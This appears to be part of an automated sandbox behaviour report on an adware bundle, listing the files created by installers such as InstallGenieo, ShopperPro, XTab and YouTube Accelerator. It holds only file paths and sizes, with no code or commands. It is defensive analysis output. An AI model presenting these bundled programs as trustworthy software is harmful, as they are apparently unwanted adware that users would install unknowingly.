C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\a023b93ee3ddb84f912034f3917e580f[1].htm (35545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (72120 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ENHD3R3B.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPEY9HD1\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\eula-youtubeaccelerator[1].htm (2744 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\VCPZU4Q0.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPEY9HD1\tokyo_sprite_full[1].png (1277 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SZEBKIPO.txt (287 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\BL9VOU6W.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\KYOPFCOR.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPEY9HD1\__utm[1].gif (35 bytes)

The process biclient.exe:3924 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\BVUMBCYW.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\YQ4KZC6U.txt (781 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1G5Z9XDO.txt (781 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\eula-mystartsearch[2].htm (1871 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\CNMY59UX.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\eula[1].htm (1058 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\68KEWF2R.txt (781 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\I965KQP9.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe (70607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Y0U1T5TO.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\INSFHQ52.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\eula[1].htm (1061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\DITURME3.txt (781 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\236762cce52fe54e8735a3807f6f1de4[1].htm (37282 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QXUAWTFE.txt (327 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\BCPAZS9Y.txt (613 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\E860GNAH.txt (781 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\LJ3R51UF.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\PUBW04XZ.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\E9F1.tmp (39568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Y5BS1TN3.txt (129 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPEY9HD1\tokyo_sprite_full[2].png (1279 bytes)

The process biclient.exe:2940 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\tokyoLightGrayStripesBG[2].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.6 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.7 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.4 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.5 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.2 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.3 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.0 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe.1 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\BGOYP3ZV.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe (70607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\D5838A4P.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPEY9HD1\tokyo_sprite_full[3].png (1300 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\032b51a823ded246ba19346b82f99535[1].htm (33662 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp (39568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\XNWZIMYM.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8D9E.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\51U2F1AV.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe (12251 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)

The process E9F1.tmp:2744 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (303188 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\NSISEncrypt.dll (3417 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7853 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsq896B.tmp (4 bytes)

The process wpm_v20.0.0.1714_0204.exe:1036 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3560 bytes)

The process ins_yta.exe:1836 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBB3D4.tmp (144 bytes)

The process testlsp.exe:3868 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3868_testlsp.log (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3868.log (1345 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\SMALLTEST[2].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3868_testlsp.log (124547 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3868_testlsp.log (1438 bytes)

The process powershell.exe:1368 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3D9MW8IHLHA2ND9MNXG9.temp (196 bytes)

The process powershell.exe:3044 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\P7O7IAURZO1I8FXB5U20.temp (196 bytes)

The process powershell.exe:3968 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\727EG16HH7CAMA1P9RMT.temp (196 bytes)

The process setup.exe:1412 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\BFVUpdateM.dll (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\BaofengUpdate.exe (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\conf (83 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\422.db (272 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\UninstallManager.exe (60186 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\lpd#4.3.0.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\1.zip (40356 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\RegWrite.exe (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\2[1].zip (54989 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\2.zip (18526 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPEY9HD1\1[1].zip (163488 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\STab_Down_6.0.6.8.exe (3616 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\wpm_v20.0.0.1714_0204.exe (16424 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\images\close.png (3 bytes)

The process setup.exe:3284 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\nsExec.dll (14 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\AccDownload.dll (11359 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\jsdrv.exe (100669 bytes)
%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35507 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\System.dll (23 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfD3A4.tmp (339090 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuD3B4.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (45051 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)

The process HPNotify.exe:1196 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\conf (1498 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (24 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (49 bytes)

The process STab_Down_6.0.6.8.exe:3324 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\XTab_4.0.2.1716[1].exe (204370 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\XTab_v4.0.exe (36711 bytes)

The process WerFault.exe:3148 makes changes in the file system.
The Application creates and/or writes to the following file(s):

